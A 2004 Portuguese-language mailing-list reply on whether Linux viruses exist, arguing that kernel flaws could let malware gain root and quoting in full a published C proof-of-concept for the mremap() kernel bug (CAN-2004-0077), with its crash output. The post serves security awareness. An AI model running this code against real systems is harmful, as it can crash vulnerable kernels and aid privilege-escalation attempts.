Re: Virus no Linux
On Fri, Mar 05, 2004 at 12:10:05AM -0300, Venicio wrote:
> Oi pessoal alguém pode me explicar a questão de virus no Linux, exite??
ao que consta, não existe nenhum registro de virus feito exclusivamente
para o Linux. Como disse o Still, há alguns worms multiplataforma.
> não exite?? caso exista, quando como e onde encontrar um anti-virus
> ideal.
ao contrário do que foi dito com relação à conta root, não é difícil
escrever um virus que, se aproveitando de uma vulnerabilidade do kernel
ou de algum aplicativo defeituoso que rode com uid=0, infecte um
sistema.
por exemplo, há alguns dias, outra vulnerabilidade foi descoberta no
kernel na syscall mremap(), que permite a criação de um exploit para
obter privilégios de kernel (=root). portanto, alguém poderia escrever
um virus que aproveitasse esta vulnerabilidade e mesmo rodando como
programa de usuário, poderia passar para root.
fonte da informação:
URL: http://isec.pl/vulnerabilities/isec-0014-mremap-unmap.txt
CVE: CAN-2004-0077
Author: Paul Starzetz <ihaquer@isec.pl>
Date: February 18, 2004
abaixo, um PoC do exploit:
-------------------início do PoC com créditos --------------
This PoC exploit can be used to check if a Linux system is vulnerable
to the second do_mremap() bug; the code has only been tested on Linux
version 2.4.22 so far.
$ gcc -W -Wall mremap_poc_2.c && ./a.out
mmap: Cannot allocate memory
created ~65530 VMAs
now mremapping 0x3FFE5000 at 0x3FFE1000
Segmentation fault
$ dmesg | tail -n 16
kernel BUG at mmap.c:1194!
invalid operand: 0000
CPU: 0
EIP: 0010:[<c01239b5>] Not tainted
EFLAGS: 00010287
eax: 3ffe2000 ebx: ce189f80 ecx: ce189f38 edx: ce189f20
esi: ce189fc4 edi: ce189f04 ebp: ce189ec0 esp: cf101f44
ds: 0018 es: 0018 ss: 0018
Process a.out (pid: 5371, stackpage=cf101000)
Stack: ce189f80 ce189fc4 ce189f04 3ffe1000 3ffe1000 c012873f cf1b66e0 c01287c7
cf1b66e0 ce189ec0 cf100000 00001000 cf1b66fc ffff0001 cf1b66e0 00000000
c339df1c ce189ec0 cf100000 fffffff4 ce189e60 c0128896 3ffe5000 00001000
Call Trace: [<c012873f>] [<c01287c7>] [<c0128896>] [<c01086b3>]
Code: 0f 0b aa 04 21 f9 2d c0 8b 7c 24 10 8b 74 24 14 8b 5c 24 18
$ cat mremap_poc_2.c
/*
* Proof-of-concept exploit code for do_mremap() #2
*
* Copyright (C) 2004 Christophe Devine
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/
#include <asm/unistd.h>
#include <sys/mman.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#define MREMAP_MAYMOVE 1
#define MREMAP_FIXED 2
#define MREMAP_FLAGS MREMAP_MAYMOVE | MREMAP_FIXED
#define __NR_real_mremap __NR_mremap
static inline _syscall5( void *, real_mremap, void *, old_address,
size_t, old_size, size_t, new_size,
unsigned long, flags, void *, new_address );
#define VMA_SIZE 0x00003000
int main( void )
{
int i, ret;
void *base0;
void *base1;
i = 0;
while( 1 )
{
i++;
ret = (int) mmap( (void *)( i * (VMA_SIZE + 0x1000) ),
VMA_SIZE, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS, 0, 0 );
if( ret == -1 )
{
perror( "mmap" );
break;
}
base0 = base1;
base1 = (void *) ret;
}
printf( "created ~%d VMAs\n", i );
base0 += 0x1000;
base1 += 0x1000;
printf( "now mremapping 0x%08X at 0x%08X\n",
(int) base1, (int) base0 );
real_mremap( base1, 4096, 4096, MREMAP_FLAGS, base0 );
printf( "kernel may not be vulnerable\n" );
return( 0 );
}
Christophe Devine - http://www.cr0.net:8040/about/
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
--------------------fim do PoC com creditos -----------------------
isto tudo é teoria, por enquanto; mas não estamos imunes por default; é
sempre preciso ser paranóico com segurança. siga a dica de ler a
linuxsecurity ou outra fonte de informação em segurança.
--
Mario O.de Menezes, Ph.D. "Many are the plans in a man's heart, but
IPEN-CNEN/SP is the Lord's purpose that prevails"
http://www.ipen.br/~mario Prov. 19.21
Reply to: